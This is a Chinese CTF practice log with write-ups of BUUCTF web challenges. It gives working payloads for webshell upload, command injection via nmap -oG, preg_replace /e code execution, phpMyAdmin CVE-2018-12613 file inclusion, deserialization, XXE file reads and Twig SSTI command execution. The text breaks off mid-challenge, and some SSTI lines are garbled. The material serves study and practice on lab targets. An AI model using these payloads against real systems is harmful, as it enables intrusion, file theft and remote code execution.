buu做题日志 web3

[GXYCTF2019]BabyUpload

图片

随便上传一个木马,提示不能后缀名不能带有ph,然后上传一个png显示如图,然后想到之前.user.ini和.htacess的操作,这里尝试下.htacess上传,还是提示上图,改一下mime类型

图片

并自己设置一个文件后缀名,然后传马,尝试访问phpinfo

图片

蚁剑连上就是flag

[RoarCTF 2019]Easy Java

图片

打开一个登陆界面还以为是sql注入,随便测试了下都不行,点击下面help弹出一行,到此我就没思路去看wp原来是自己代码敲少了

图片

这里疑似是任意文件下载漏洞,但是get方式无法下载成功,也没看到有任何异常,尝试用post,成功下载,但是依然没任何帮助,这里猜测是java网页的源码泄露

直接下载WEB-INF/web.xml配置文件,WEB-INF文件夹下的文件是不能被直接访问到的,通常是用来存储重要的配置文件等

1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

可以在第39行发现跟Flag有关的类,直接访问报错,但是泄露了目录
图片

采取之前说的任意文件下载漏洞,构造目录

图片

下载后,里面有一串base64解密后就是flag

这里贴上源码泄露的的一些例子:

https://blog.csdn.net/wy_97/article/details/78165051

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

给了源码,大概就是输入一个ip地址,然后调用nmap进行扫描,不过在题目类型进行了提示,rce和php可知是命令执行
重点关注下两个函数

escapeshellarg()和escapeshellcmd()

这里给出一篇文章,可以看到相关漏洞详细

https://paper.seebug.org/164/,两个函数按照代码中的顺序进行执行,就会产生漏洞

函数介绍:

1
2
3
4
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
1
2
3
4
5
6
7
8
escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

借用博客内容中举的例子
传入参数是:

172.17.0.2’ -v -d a=1

首先经过escapeshellarg()处理

变为’ 172.17.0.2’/‘’ -v -d a =1’

即先对单引号进行转义,然后再用单引号将左右两部分包起来起到连接的作用,

再经过escapeshellcmd()处理

变为’172.17.0.2’//‘’ -v -d a=1/‘

这里是因为escapeshellcmd对/和最后落单没成对的单引号进行了转义

所以最后执行的命令为 curl ‘172.17.0.2’//‘’ -v -d a=1/‘

中间的//被解释为/而不是转义字符,所以后面的’没有被转义,与最后的’配对成了一个空白连接符,所以最终可以简化为

curl 172.17.0.2/ -v -d a=1’

就是向172.17.0.2/发送请求 Post数据为a=1’

到此漏洞原理已经懂了,查询nmap命令可知-oG能将命令写入指定的文件中

可以构造payload:

?host=’ -oG shell.php ‘

所以传进去得到文件目录名,加上之前的url连蚁剑就行

具体解释:

1.两边加单引号,是因为不加的话,函数执行后会变成:

-oG shell.php’

就不是一个命令,而是一串字符串,因为在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。

2.引号旁边加空格是因为,如果不加,函数执行结束后并echo会变成

<?php eval($_POST[“hack”]);?> -oG shell.php\

文件名是shell.php\而不是shell.php

3.为什么参数hack不能用单引号,而用双引号

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

[BJDCTF2020]The mystery of ip

三个网页都看了下没什么东西除了flag.php显示了本地的ip,查看hint.php里有一个注释是让我们想一想怎么获取ip的

f12里也没有获取ip的js文件,抓包试一下

图片

发现xxf或者clitent-ip能够执行命令,构造payload:

client-ip:{system(‘cat /flag’)}

就可以看到flag了

[GXYCTF2019]禁止套娃

打开环境啥也没有,F12和cookie里也没有,抓包也没有东西,御剑扫一下也没东西。用wscan扫出来有

git文件

源码泄露,用githack获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下代码:需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
过滤了常用的几个伪协议,不能以伪协议读取文件。

(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

正则匹配掉了et/na/info等关键字,很多函数都用不了。

eval($_GET[‘exp’]); 典型的无参数RCE

注意正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用,大体意思就是匹配函数,但是函数里的参数都会被替换,所以我们的exp必须是a(b());这种类型

这里查看大佬WP后学到了几个函数

本题主要用到5个函数

1
2
3
4
5
localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
scandir() 可以扫描当前目录下的文件
array_reverse() 以相反的元素顺序返回数组
next() 将内部指针指向数组的下一个元素,并返回结果

这里有个小trick
current(localeconv())所代表的值就是.

我们首先要找到文件就要找到所在的目录,scandir()可以扫描当前目录下的文件

比如print_r(scandir(‘.’));

按照上面的trick就能构造.,另外current()可以用pos()来替代

所以构造payload查看文件位置

payload:

print_r(scandir(current(localeconv())));

图片

可以发现在倒数第二个文件夹,以数组形式展示

这里读取倒数第二个数组主要用到两个函数

next()和array_reverse(),前者是读取当前元素的下一个元素,后者是将数组以相反顺序返回数组

所以构造payload:

?exp=show_source(next(array_reverse(current(localeconv()))));

就可以回显flag了

[BJDCTF2020]ZJCTF,不过如此

前面的套路就是19年省赛的直接一把梭,得到源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
url/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}



foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

能看到正则匹配有个/e这里存在命令执行漏洞
/e修正符使preg_replace()将replacement参数(第二个参数,字符串)当做php代码执行

继续看到\1查资料可以知道\1表示取出正则匹配后的第一个子匹配中的第一项(这里其实就是thinkphp2.x、3.0-3.1版本的rce漏洞  )

那我们这里就要确保我们想要执行的东西正则可以填.*或者\S+(大写S是匹配非空白符)

再回到代码,如果我们要获取flag,就要调用getFlag()这个函数才能进行任意命令执行

因为这里已经确认了\S+

这里运用到了两个性质

  1. 在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。
  2. 变量覆盖漏洞中常见的可变变量,官方解释:官方解释

,因为要避免歧义,除了$$a这样子,还可以${$a}这样子

3.对于传入的非法的$_GET数组参数名,会将其转换成下划线_

图片

因为这里直接传\S+=getFlat()不能执行

所以改用上述方法

构造payload:

\S+=${getFlag()}&cmd=system(‘ls /‘);

能看到文件目录里存在flag,直接cat

\S+=${getFlag()}&cmd=system(‘cat /flag’);

参考链接:深入研究preg_replace与代码执行

[GWCTF 2019]我有一个数据库

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

首先进去没什么东西,常规操作F12等常见的东西都逛一逛,然后用dirsearch扫描,扫到了phpadmin,这里不需要登陆,直接就进去了。我原本以为是直接在这个数据库管理界面找到flag就行,后面看WP才知道是一个CVE

根据上述文章的分析直接用payload读flag就行

?target=db_datadict.php%253f/../../../../../../../../flag

这里专门做一个CVE的复现

漏洞详情:

  • 范围
    phpmyadmin 4.8.0和4.8.1

  • 原理
    首先在index.php 50-63行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

审计过后可以知道要想包含target的内容,必须满足五个条件
target不为空

target为字符串

target不以index开头

target不在黑名单里

target满足Core::checkPageValidity

此处代码在Core.php 443-476行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

如果白名单的内容没有在开始的时候没有传参进来,就会被赋值为self::$goto_whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

其实就是一堆内置的php页面,如果page在白名单里就返回true,但是我们一般访问或者说传参的时候并不只是一个单纯的index.php(此处举例),更多的是index.php?id=1类似这种带参数的,所以带了一点判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

函数作用:

1
2
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中,就返回true,而且还考虑了url编码的情况,所以如果这步判断为false,下一步就进行url解码

1
2
3
4
5
6
7
8
9
10
        $_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

所以传入二次编码的内容,会让checkpagevalidity()这个函数一开始是db_datadict.php%3f,又一次解码后变成db_datadict.php?,就符合了?前内容在白名单中的要求返回true,但是index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f而且会被include包含,通过目录穿越,就可以造成任意文件包含
这道题就是这个cve的一种利用方式,

比如进行任意文件包含

?target=db_datadict.php%253f../../../../../../../../Windows/DATE.ini查看系统时间

任意代码执行:

比如包含数据库文件

在sql语句查询在数据库路径

show global variables like “%datadir%”;

向数据库写入php代码

create database rce;

use rce;

create table rce(code varchar(100));

insert into rce(code) values(““);

随后包含即可

?target=db_datadict.php%253f../../../../../../../MySQL/data/rce/rce.MYD

[网鼎杯 2020 朱雀组]phpweb

打开网页发现网页每隔一段时间就刷新一下,并且页面上显示时间和data函数的报错

用bp抓包,看下数据

图片

从参数名字可以猜测前面是函数名称,后者是函数的参数详细

为了验证猜测,修改参数

前者改为eval,后者改为phpinfo()跑下

图片

提示被过滤了,想查看源码

用highlight_file和index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到过滤了大部分能够进行命令执行的函数但是重点是那个test类

1
2
3
4
5
6
7
8
9
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

如果我们想通过传参直接命令执行查看flag,大概率是不行的,因为过滤了绝大部分函数,而且得经过gettime这个成员函数才能使用函数,所以经由这一点,我们可以考虑通过类的__destruct()里的gettime()来调用函数,这里并没经过过滤。所以使用序列化来进行解题
构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

 class Test {
        var $p = "ls ../../../tmp/flagoefiu4r93";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
echo serialize($a);
?> 

O:4:"Test":2:{s:1:"p";s:29:"ls ../../../tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

这里略过了在目录里查找flag的过程,直接给出了最终payload
常用命令小结:

system(‘ls’) : 列举当前目录下的所有文件

system(“find / -name flag*”):查找所有文件名匹配flag*的文件

system(“cat $(find / -name flag)”):打印所有文件名匹配flag*的文件

思路总结:

查看网页有何异常–》查看源码找线索–》猜测传递的参数作用是什么

php中file_get_contents函数可以获取指定文件的内容

审计一下获取的源码,查找其中可利用的点,本题是利用了php的反序列化。

看网上还种解法是根据命名空间绕过黑名单

具体如下fun=\exec&p=ls

接着就直接拿flag

func=\exec&p=cat $(find / -name flag*)

原理不是很懂,我感觉绕不过去,暂且放这里记录下

[BSidesCF 2020]Had a bad day

打开就一个网页,能够查看狗狗和喵喵的照片,翻了下没啥东西

图片

但每次点击查看图片时,url新增的参数category=经过我们这些题的训练,可以考虑是sql注入或者文件包含,这里先文件包含

图片

回显base64,说明能查看主页的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
    <?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

又是常见的strpos,简单提一下就是从第一个参数中找第二个参数是否存在,如果存在就返回第二个参数最后一个字符的所在位置,然后用strpos检测传入的参数是否有白名单以内的php页面,有的话就包含,没有就返回上述一段话
构造payload: category=woofers/../flag图片
返回上一级目录

能看到有一个提示,考虑用文件包含直接一把梭

因为这里返回了上一级目录,所以文件包含也要多加一个index目录

图片

返回base64解码得到flag

[BJDCTF2020]Mark loves cat

进去后像是实战环境的博客,日常操作后没找到突破口,就尝试扫描,发现.git文件,githack来一手,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}





echo "the flag is: ".$flag;

原来我想的是绕过三层if,用echo来输出flag,但是看了wp还是自己想复杂了,虽然变量覆盖挺简单的,但是稍不注意就绕进去了,还把自己看困了(属于是小fw了
0x01 三解

利用handsome

/?handsome=flag

通过如下

$handsome=$flag

从而成功获取flag

为满足条件退出追加两个参数 x=flag&flag=x

1
2
3
4
5
6
7
8
9
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
        
exit($handsome); //exit显然能利用
    }
}

这里exit$handsome就等同于输出$flag,然后为了能够exit即通过判断,就要使传进去的flag的值等于x,而传进去的变量将作为x输出为y就是x的值不能为字符串flag(果然有点绕..)
payload:?handsome=flag&flag=x&x=flag

利用yds

比较简单直接yds=flag就行

1
2
3
4
5
6
7
foreach($_GET as $x => $y){
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
 //如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

不以get和post传flag的值,直接对yds赋给flag的值,第一个foreach就会把$flag赋给$yds,就能输出
利用is

is=flag&flag=flag

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

这个跟第二个一样容易理解,get或者post两者传flag=flag满足判断,get传is=flag,把$flag赋给$is,就能输出了

[强网杯 2019]高明的黑客

图片

进入环境直接给提示了,备份文件在www.tar.gz里

下载文件并解压,里面有大概三千个php文件

随便进一个看看,有一大堆没用的参数,大致猜测要从几千个文件中找可以实现一句话的地方

jio本属实是一头雾水,直接用别的师傅的jio本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
import requests
import re
import threading
import time
print('start:  '+  time.asctime( time.localtime(time.time()) ))
#输出当前日期时间
s1=threading.Semaphore(100)
#线程数100
filePath = r"E:\phpstudy\WWW\src"
#为文件地址
os.chdir(filePath)
#改变当前工作目录到指定的路径
#本来的工作目录在D盘,修改到文件所在地址
requests.adapters.DEFAULT_RETRIES = 5
#连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错
files = os.listdir(filePath)
#列出filePath路径下所有文件名
session = requests.Session()
#保持会话
session.keep_alive = False
#设置连接活跃状态为False
def get_content(file):
    s1.acquire()
#多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。
#比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
#输出时间
    with open(file,encoding='utf-8') as f:
#以utf-8打开文件
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有get参数
#\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有post参数
    data = {}
    params = {}
#data数组存post参数值,params存get参数名
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
#把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx';
#赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。
    url = 'http://localhost/src/'+file
    req = session.post(url, data=data, params=params)
#会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。
#一次性请求所有的GET和POST
    req.close()
#关闭会话,释放内存
    req.encoding = 'utf-8'
    content = req.text
#得到所有访问的页面内容
    #print(content)
    if "xxxxxx" in content:
#如果发现存在,则继续挨个访问,并筛选出具体的参数
        flag = 0
#用来判断是get请求成功,则为1,是post成功则为0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
#如果此时flag不为1,则说明get所有参数都不存在
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()
                if "xxxxxx" in content:
                    break
        if flag == 1:
            param = a
#如果flag为1,则记录param为a,也就是此时get参数名
        else:
            param = b
        print('file: '+file+"  and param:%s" %param)
#输出成功的文件名和参数名
        print('endtime: ' + time.asctime(time.localtime(time.time())))
    s1.release()
    #释放锁,开始下一个线程

for i in files:
    t = threading.Thread(target=get_content, args=(i,))
    t.start()
#线程开始

相应的文件夹和参数跑出来直接传参+命令尝试

[NCTF2019]Fake XML cookbook

图片

样子挺像sql注入的,但是根据题目xml可知是xxe外部实体注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE常见利用方式

与SQL相似,XXE漏洞也分为有回显和无回显

有回显,可以直接在页面中看到payload的执行结果或现象。

无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

随便输入用户名和密码
图片

1
2
3
4
5
6
可以发现有xml实体,尝试构造恶意xml实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

能够读到etc/passwd
图片

按照以往的套路,尝试读取flag

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

获得flag
payload解释:

?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:,引用一般实体的方法:&实体名称;

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

因为将file:///flag命名为admin,所以下面用&admin。

参考文章:从XML相关一步一步到XXE漏洞

直接进入flag页面,有一个输入框,初步怀疑是sql注入,后来看WP发现是ssti

进行测试,返回1,可以确定确实是ssti

输入{undefined{7*‘7’}},返回49表示是 Twig 模块

输入{undefined{7*‘7’}},返回7777777表示是 Jinja2 模块

输入user={undefined{7*‘7’}},查看返回值,可以确认是Twig模块,经过查询资料,可以发现Twig有通过固定payload,直接拿来打就行

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

图片

参考资料:关于SSTI注入的一些理解.

[WUSTCTF2020]朴实无华

打开环境显示hack me,网页的title有一个bot,考虑进去robots.txt看看

有一个fAke_flagggg.php,进去看看,给了个假flag,但还是看看其他,在响应头找到了

图片

里面有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
 
 
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){//inval函数取整
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if($md5==md5($md5))//它的MD5值等于它自身
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
 
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){//检测有无空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

第一层绕intval
输入的num值要小于2020,加1之后要大于2021,否则就结束,这里主要涉及intval函数绕过,如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串

如果我们传入2e4,则intval(2e4)返回2,intval(2e4+1)返回20001,这样前者小于2020,后者大于2021

第二层绕md5

是一个MD5的弱类型比较,MD5值与自身要“==”相等,比较时会先将字符串类型转化成相同,再比较,而“=== ”在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

